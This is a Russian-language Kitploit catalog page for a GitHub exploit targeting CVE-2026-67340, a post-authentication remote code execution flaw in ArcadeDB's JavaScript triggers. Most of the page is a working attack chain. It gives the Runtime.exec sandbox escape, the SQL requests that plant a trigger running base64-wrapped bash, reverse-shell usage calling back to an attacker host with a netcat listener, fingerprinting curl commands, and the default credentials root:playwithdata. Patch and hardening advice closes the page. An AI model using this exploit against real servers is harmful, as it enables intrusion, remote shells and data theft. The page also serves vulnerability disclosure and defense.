Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-67340_exploit — Пост-аутентификационный RCE-эксплойт для ArcadeDB через JavaScript-триггер, обход песочницы GraalVM, выполняющий команды ОС через HTTP API с режимами reverse shell или «слепых» команд. | Kitploit
Инструменты/GitHubGitHub/0xdak/cve-2026-67340_exploit
ЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность Баз Данных
GitHub0xdak/cve-2026-67340_exploit

CVE-2026-67340_exploit

Пост-аутентификационный RCE-эксплойт для ArcadeDB через JavaScript-триггер, обход песочницы GraalVM, выполняющий команды ОС через HTTP API с режимами reverse shell или «слепых» команд.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
17 дней назадЕщё не проверено

CVE-2026-67340 — RCE через триггерные JAVASCRIPT-скрипты ArcadeDB (после аутентификации)

Удалённое выполнение кода после аутентификации в ArcadeDB (многомодельной базе данных на Java) через JAVASCRIPT-триггер, который получает доступ к host-классам.

Полиглот-движок GraalVM для триггера создаётся со списком разрешённых host-классов, в который входит java.lang.* (ScriptTriggerExecutor.setAllowedPackages), поэтому триггерный скрипт может вызвать:

root@kitploit:~
Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","<cmd>"]);

allowCreateProcess(false) это не блокирует — Runtime.exec — это вызов метода хоста, разрешённый HostAccess.ALL, а не гостевой API процессов GraalVM. Для создания триггера требуется только право UPDATE_SCHEMA (более слабое, чем UPDATE_SECURITY, которое ограничивает прямое выполнение скриптов), поэтому root может сделать это — RCE после аутентификации через HTTP API.

  • Затронутые версии: ArcadeDB < 26.7.2 (0 – 26.7.1)
  • Исправлено в: 26.7.2 (удаляет java.lang.* из списка разрешённых пакетов триггера + добавляет жёстко заданный HostClassLookupFilter со списком запрещённых процессов/рефлексии/загрузчиков классов)
  • Порт по умолчанию: 2480 (HTTP API + Studio; базовая аутентификация)
  • CWE: 94 (внедрение кода) / обход песочницы
  • Воздействие: выполнение команд ОС от имени пользователя процесса ArcadeDB

Прямой командный путь language:js — это не вектор атаки: в нём нет разрешённых пакетов (Java.type заблокирован), и доступ к нему ограничен правом UPDATE_SECURITY. Только исполнитель триггеров жёстко прописывает java.lang.*.

Требования

Только стандартная библиотека Python 3 — без зависимостей. Действительные учётные данные ArcadeDB с правом UPDATE_SCHEMA (например, root). В ArcadeDB нет зашитого в код пароля по умолчанию, но в его собственном docker-compose.yml поставляется пример root:playwithdata — распространённые учётные данные, которые часто оставляют как есть.

Использование

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:2480/ -c 'id > /tmp/pwned'

# custom credentials / database
python3 exploit.py http://10.10.10.10:2480/ --shell 10.10.14.5:4444 -U root -P playwithdata -d mydb

Как это работает

Три аутентифицированных запроса POST /api/v1/command/<db> (language:sql):

  1. CREATE DOCUMENT TYPE Pwn
  2. CREATE TRIGGER pwn BEFORE CREATE ON TYPE Pwn EXECUTE JAVASCRIPT 'var p=Java.type("java.lang.Runtime").getRuntime().exec(["/bin/bash","-c","echo <b64>|base64 -d|bash"]); true;'
  3. INSERT INTO Pwn SET x = 1 — срабатывает триггер BEFORE CREATE, и JavaScript выполняется.

Команда ОС оборачивается в base64, чтобы слоям JavaScript/SQL/JSON не требовалось экранирование вложенных кавычек, а скрипт не вызывает waitFor(), поэтому exec возвращается немедленно (дочерний процесс продолжает работать, запрос не блокируется).

Определение цели

root@kitploit:~
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:2480/api/v1/databases   # 401 -> ArcadeDB HTTP API
curl -s -u root:playwithdata http://10.10.10.10:2480/api/v1/databases               # lists databases

Устранение

Обновите ArcadeDB до версии ≥ 26.7.2, задайте надёжный rootPassword (ни в коем случае не playwithdata), не запускайте ArcadeDB от root, ограничьте UPDATE_SCHEMA и не открывайте HTTP API/Studio в недоверенных сетях.

Отказ от ответственности

Только для авторизованного тестирования безопасности и обучения. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.

Скачать инструмент